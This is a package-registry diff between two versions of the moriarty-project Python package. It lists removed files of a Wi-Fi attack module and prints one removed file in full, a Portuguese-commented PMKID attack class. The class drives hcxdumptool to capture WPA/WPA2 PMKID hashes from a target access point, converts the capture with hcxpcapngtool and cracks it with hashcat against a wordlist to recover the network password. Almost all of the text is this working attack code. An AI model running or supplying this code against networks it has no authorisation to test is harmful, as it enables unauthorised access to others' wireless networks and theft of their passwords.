moriarty-project 0.1.21__py3-none-any.whl → 0.1.23__py3-none-any.whl

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (26) hide show
  1. moriarty/__init__.py +1 -1
  2. moriarty/cli/app.py +5 -6
  3. moriarty/modules/port_scanner.py +1 -5
  4. {moriarty_project-0.1.21.dist-info → moriarty_project-0.1.23.dist-info}/METADATA +36 -49
  5. {moriarty_project-0.1.21.dist-info → moriarty_project-0.1.23.dist-info}/RECORD +7 -26
  6. moriarty/cli/wifippler.py +0 -124
  7. moriarty/modules/wifippler/__init__.py +0 -92
  8. moriarty/modules/wifippler/cli/__init__.py +0 -8
  9. moriarty/modules/wifippler/cli/commands.py +0 -123
  10. moriarty/modules/wifippler/core/__init__.py +0 -94
  11. moriarty/modules/wifippler/core/attacks/__init__.py +0 -146
  12. moriarty/modules/wifippler/core/attacks/deauth.py +0 -262
  13. moriarty/modules/wifippler/core/attacks/handshake.py +0 -402
  14. moriarty/modules/wifippler/core/attacks/pmkid.py +0 -424
  15. moriarty/modules/wifippler/core/attacks/wep.py +0 -467
  16. moriarty/modules/wifippler/core/attacks/wpa.py +0 -446
  17. moriarty/modules/wifippler/core/attacks/wps.py +0 -474
  18. moriarty/modules/wifippler/core/models/__init__.py +0 -10
  19. moriarty/modules/wifippler/core/models/network.py +0 -216
  20. moriarty/modules/wifippler/core/scanner.py +0 -901
  21. moriarty/modules/wifippler/core/utils/__init__.py +0 -636
  22. moriarty/modules/wifippler/core/utils/exec.py +0 -182
  23. moriarty/modules/wifippler/core/utils/network.py +0 -223
  24. moriarty/modules/wifippler/core/utils/system.py +0 -153
  25. {moriarty_project-0.1.21.dist-info → moriarty_project-0.1.23.dist-info}/WHEEL +0 -0
  26. {moriarty_project-0.1.21.dist-info → moriarty_project-0.1.23.dist-info}/entry_points.txt +0 -0
@@ -1,424 +0,0 @@
1
- """
2
- Módulo de ataque PMKID.
3
-
4
- Este módulo implementa ataques contra redes WPA/WPA2 usando a vulnerabilidade PMKID,
5
- que permite capturar hashes PMKID sem a necessidade de um handshake completo.
6
- """
7
- import os
8
- import re
9
- import time
10
- import logging
11
- import subprocess
12
- import tempfile
13
- from typing import Optional, Dict, List, Tuple, Any, Callable
14
- from dataclasses import dataclass, field
15
- from enum import Enum, auto
16
-
17
- from rich.console import Console
18
- from rich.progress import Progress, SpinnerColumn, TextColumn, BarColumn, TimeElapsedColumn
19
-
20
- from ...core.models.network import WiFiNetwork
21
- from ...core.utils import (
22
- is_root, check_dependencies, get_network_interfaces,
23
- set_monitor_mode, restore_network_interface, command_exists
24
- )
25
-
26
- # Configuração de logging
27
- logging.basicConfig(level=logging.INFO)
28
- logger = logging.getLogger(__name__)
29
- console = Console()
30
-
31
- class PMKIDEventType(Enum):
32
- """Tipos de eventos do ataque PMKID."""
33
- START = auto()
34
- PMKID_CAPTURED = auto()
35
- CRACK_SUCCESS = auto()
36
- CRACK_FAILED = auto()
37
- ERROR = auto()
38
- PROGRESS = auto()
39
- COMPLETE = auto()
40
-
41
- @dataclass
42
- class PMKIDEvent:
43
- """Evento de progresso do ataque PMKID."""
44
- type: PMKIDEventType
45
- message: str = ""
46
- data: Dict[str, Any] = field(default_factory=dict)
47
-
48
- class PMKIDAttack:
49
- """Classe para realizar ataques PMKID em redes WPA/WPA2."""
50
-
51
- def __init__(self, interface: str = None, timeout: int = 300):
52
- """
53
- Inicializa o ataque PMKID.
54
-
55
- Args:
56
- interface: Interface de rede para usar no ataque
57
- timeout: Tempo máximo de execução em segundos
58
- """
59
- self.interface = interface
60
- self.timeout = timeout
61
- self.is_running = False
62
- self.stop_requested = False
63
- self.pmkid_captured = False
64
- self.pmkid_file = ""
65
- self.psk = ""
66
-
67
- # Verifica dependências
68
- self._check_dependencies()
69
-
70
- # Verifica privilégios
71
- if not is_root():
72
- raise PermissionError("Este ataque requer privilégios de root")
73
-
74
- def _check_dependencies(self) -> None:
75
- """Verifica se todas as dependências necessárias estão instaladas."""
76
- required = ['hcxdumptool', 'hcxpcapngtool', 'hashcat']
77
- missing = [cmd for cmd in required if not command_exists(cmd)]
78
-
79
- if missing:
80
- raise RuntimeError(
81
- f"As seguintes dependências estão faltando: {', '.join(missing)}\n"
82
- "Instale-as com: sudo apt install hcxtools hashcat"
83
- )
84
-
85
- def capture_pmkid(self, bssid: str, channel: int,
86
- output_prefix: str = "pmkid",
87
- callback: Callable[[PMKIDEvent], None] = None) -> Tuple[bool, str]:
88
- """
89
- Captura um hash PMKID de uma rede.
90
-
91
- Args:
92
- bssid: Endereço MAC do ponto de acesso
93
- channel: Canal da rede
94
- output_prefix: Prefixo para os arquivos de saída
95
- callback: Função de callback para eventos
96
-
97
- Returns:
98
- Tupla (sucesso, caminho_do_arquivo_capturado)
99
- """
100
- self.is_running = True
101
- self.stop_requested = False
102
- self.pmkid_captured = False
103
- self.pmkid_file = ""
104
-
105
- # Configura o monitoramento de eventos
106
- def event_handler(event_type: PMKIDEventType, message: str = "", **kwargs):
107
- if callback:
108
- event = PMKIDEvent(type=event_type, message=message, data=kwargs)
109
- callback(event)
110
-
111
- # Cria um diretório temporário para os arquivos
112
- with tempfile.TemporaryDirectory() as temp_dir:
113
- try:
114
- output_file = os.path.join(temp_dir, output_prefix)
115
- pcapng_file = f"{output_file}.pcapng"
116
- hc22000_file = f"{output_file}.hc22000"
117
-
118
- # Comando para capturar PMKID com hcxdumptool
119
- cmd_hcxdumptool = [
120
- 'hcxdumptool',
121
- '-i', self.interface,
122
- '--enable_status=1',
123
- '-o', pcapng_file,
124
- '--filterlist=/dev/null',
125
- '--filtermode=2',
126
- '--disable_client_attacks',
127
- '--enable_status=1'
128
- ]
129
-
130
- # Se um BSSID específico for fornecido, filtra por ele
131
- if bssid:
132
- cmd_hcxdumptool.extend(['--bssid', bssid])
133
-
134
- # Se um canal específico for fornecido, fixa nele
135
- if channel:
136
- cmd_hcxdumptool.extend(['--channel', str(channel)])
137
-
138
- event_handler(PMKIDEventType.START, "Iniciando captura do PMKID...")
139
-
140
- # Executa o hcxdumptool em segundo plano
141
- hcxdump_proc = subprocess.Popen(
142
- cmd_hcxdumptool,
143
- stdout=subprocess.PIPE,
144
- stderr=subprocess.STDOUT,
145
- universal_newlines=True
146
- )
147
-
148
- # Monitora a saída do hcxdumptool
149
- start_time = time.time()
150
- pmkid_found = False
151
-
152
- with Progress(
153
- SpinnerColumn(),
154
- TextColumn("[progress.description]{task.description}"),
155
- BarColumn(bar_width=40),
156
- "[progress.percentage]{task.percentage:>3.0f}%",
157
- TimeElapsedColumn(),
158
- console=console,
159
- transient=True,
160
- ) as progress:
161
- task = progress.add_task("Aguardando PMKID...", total=100)
162
-
163
- while True:
164
- # Verifica timeout
165
- if time.time() - start_time > self.timeout:
166
- event_handler(
167
- PMKIDEventType.ERROR,
168
- "Tempo limite excedido na captura do PMKID"
169
- )
170
- hcxdump_proc.terminate()
171
- return False, ""
172
-
173
- # Verifica se foi solicitado para parar
174
- if self.stop_requested:
175
- event_handler(
176
- PMKIDEventType.ERROR,
177
- "Captura interrompida pelo usuário"
178
- )
179
- hcxdump_proc.terminate()
180
- return False, ""
181
-
182
- # Lê a saída do processo
183
- line = hcxdump_proc.stdout.readline()
184
- if not line and hcxdump_proc.poll() is not None:
185
- break
186
-
187
- if line:
188
- # Verifica se encontrou um PMKID
189
- if "PMKID" in line or "EAPOL" in line:
190
- pmkid_found = True
191
- event_handler(
192
- PMKIDEventType.PMKID_CAPTURED,
193
- "PMKID capturado com sucesso!",
194
- details=line.strip()
195
- )
196
- hcxdump_proc.terminate()
197
- break
198
-
199
- # Envia atualizações de status
200
- event_handler(PMKIDEventType.PROGRESS, line.strip())
201
-
202
- # Atualiza a barra de progresso
203
- elapsed = time.time() - start_time
204
- progress.update(task, completed=min(100, (elapsed / self.timeout) * 100))
205
-
206
- # Aguarda um pouco antes da próxima verificação
207
- time.sleep(0.5)
208
-
209
- # Se encontrou um PMKID, converte para o formato hc22000
210
- if pmkid_found and os.path.exists(pcapng_file):
211
- event_handler(PMKIDEventType.PROGRESS, "Convertendo captura para formato hc22000...")
212
-
213
- # Comando para converter o arquivo pcapng para hc22000
214
- cmd_convert = [
215
- 'hcxpcapngtool',
216
- '-o', hc22000_file,
217
- pcapng_file
218
- ]
219
-
220
- try:
221
- subprocess.run(cmd_convert, check=True, capture_output=True, text=True)
222
-
223
- if os.path.exists(hc22000_file) and os.path.getsize(hc22000_file) > 0:
224
- self.pmkid_captured = True
225
- self.pmkid_file = hc22000_file
226
-
227
- # Copia o arquivo para o diretório atual
228
- import shutil
229
- final_file = os.path.join(os.getcwd(), f"{output_prefix}.hc22000")
230
- shutil.copy2(hc22000_file, final_file)
231
-
232
- event_handler(
233
- PMKIDEventType.COMPLETE,
234
- f"Arquivo PMKID salvo como: {final_file}",
235
- pmkid_file=final_file
236
- )
237
-
238
- return True, final_file
239
- else:
240
- event_handler(
241
- PMKIDEventType.ERROR,
242
- "Falha ao converter o arquivo de captura"
243
- )
244
-
245
- except subprocess.CalledProcessError as e:
246
- event_handler(
247
- PMKIDEventType.ERROR,
248
- f"Erro ao converter o arquivo de captura: {e.stderr}"
249
- )
250
-
251
- return False, ""
252
-
253
- except Exception as e:
254
- event_handler(
255
- PMKIDEventType.ERROR,
256
- f"Erro durante a captura do PMKID: {str(e)}"
257
- )
258
- return False, ""
259
-
260
- finally:
261
- self.is_running = False
262
- # Encerra processos em execução
263
- try:
264
- hcxdump_proc.terminate()
265
- except:
266
- pass
267
-
268
- def crack_pmkid(self, hc22000_file: str, wordlist: str,
269
- bssid: str = "", essid: str = "",
270
- callback: Callable[[PMKIDEvent], None] = None) -> Tuple[bool, str]:
271
- """
272
- Tenta quebrar um hash PMKID usando o hashcat.
273
-
274
- Args:
275
- hc22000_file: Caminho para o arquivo .hc22000
276
- wordlist: Caminho para o arquivo de wordlist
277
- bssid: Endereço MAC do ponto de acesso (opcional)
278
- essid: Nome da rede (opcional)
279
- callback: Função de callback para eventos
280
-
281
- Returns:
282
- Tupla (sucesso, senha)
283
- """
284
- if not os.path.exists(hc22000_file):
285
- if callback:
286
- event = PMKIDEvent(
287
- type=PMKIDEventType.ERROR,
288
- message=f"Arquivo .hc22000 não encontrado: {hc22000_file}",
289
- data={'hc22000_file': hc22000_file}
290
- )
291
- callback(event)
292
- return False, ""
293
-
294
- if not os.path.exists(wordlist):
295
- if callback:
296
- event = PMKIDEvent(
297
- type=PMKIDEventType.ERROR,
298
- message=f"Arquivo de wordlist não encontrado: {wordlist}",
299
- data={'wordlist': wordlist}
300
- )
301
- callback(event)
302
- return False, ""
303
-
304
- self.is_running = True
305
- self.stop_requested = False
306
- self.psk = ""
307
-
308
- # Configura o monitoramento de eventos
309
- def event_handler(event_type: PMKIDEventType, message: str = "", **kwargs):
310
- if callback:
311
- event = PMKIDEvent(type=event_type, message=message, data=kwargs)
312
- callback(event)
313
-
314
- try:
315
- # Comando para quebrar o hash PMKID com hashcat
316
- cmd = [
317
- 'hashcat',
318
- '-m', '22000', # Modo WPA-PBKDF2-PMKID+EAPOL
319
- '--quiet',
320
- '--status',
321
- '--status-timer=5',
322
- '--potfile-disable', # Não salvar no arquivo pot
323
- '--force',
324
- hc22000_file,
325
- wordlist
326
- ]
327
-
328
- event_handler(PMKIDEventType.START, "Iniciando quebra do hash PMKID com hashcat...")
329
-
330
- # Executa o hashcat
331
- process = subprocess.Popen(
332
- cmd,
333
- stdout=subprocess.PIPE,
334
- stderr=subprocess.STDOUT,
335
- universal_newlines=True
336
- )
337
-
338
- # Monitora a saída
339
- key_found = False
340
- key_pattern = re.compile(r'^([a-fA-F0-9]{32}):([^:]+)$')
341
- status_pattern = re.compile(r'Speed\s*\(\d+)\)\s*([\d.]+)\s*(\w+\/s)')
342
-
343
- while True:
344
- # Verifica se foi solicitado para parar
345
- if self.stop_requested:
346
- process.terminate()
347
- event_handler(
348
- PMKIDEventType.ERROR,
349
- "Quebra de hash interrompida pelo usuário"
350
- )
351
- return False, ""
352
-
353
- # Lê a saída
354
- line = process.stdout.readline()
355
- if not line and process.poll() is not None:
356
- break
357
-
358
- if line:
359
- # Remove espaços em branco
360
- line = line.strip()
361
-
362
- # Verifica se encontrou a senha
363
- if line.startswith('STATUS'):
364
- parts = line.split()
365
- if len(parts) >= 3 and parts[1] == 'CRACKED':
366
- # Formato: STATUS 5 CRACKED hash:senha
367
- hash_psk = ':'.join(parts[2:])
368
- key_match = key_pattern.match(hash_psk)
369
- if key_match:
370
- self.psk = key_match.group(2)
371
- key_found = True
372
- event_handler(
373
- PMKIDEventType.CRACK_SUCCESS,
374
- f"Senha encontrada: {self.psk}",
375
- psk=self.psk
376
- )
377
- process.terminate()
378
- return True, self.psk
379
-
380
- # Verifica o progresso
381
- elif 'Speed' in line and 'Recovered' in line:
382
- # Extrai a velocidade de tentativas
383
- speed_match = status_pattern.search(line)
384
- if speed_match:
385
- speed = float(speed_match.group(2))
386
- unit = speed_match.group(3)
387
-
388
- # Converte a velocidade para tentativas/segundo
389
- if unit == 'kH/s':
390
- speed *= 1000
391
- elif unit == 'MH/s':
392
- speed *= 1000000
393
-
394
- event_handler(
395
- PMKIDEventType.PROGRESS,
396
- f"Velocidade: {speed:,.0f} tentativas/segundo",
397
- speed=speed
398
- )
399
-
400
- # Aguarda um pouco antes da próxima verificação
401
- time.sleep(0.1)
402
-
403
- # Verifica se o processo terminou com sucesso
404
- if process.poll() == 0 and not key_found:
405
- event_handler(
406
- PMKIDEventType.CRACK_FAILED,
407
- "Senha não encontrada na wordlist fornecida"
408
- )
409
-
410
- return key_found, self.psk if key_found else ""
411
-
412
- except Exception as e:
413
- event_handler(
414
- PMKIDEventType.ERROR,
415
- f"Erro durante a quebra do hash PMKID: {str(e)}"
416
- )
417
- return False, ""
418
-
419
- finally:
420
- self.is_running = False
421
-
422
- def stop(self):
423
- """Solicita a interrupção do ataque."""
424
- self.stop_requested = True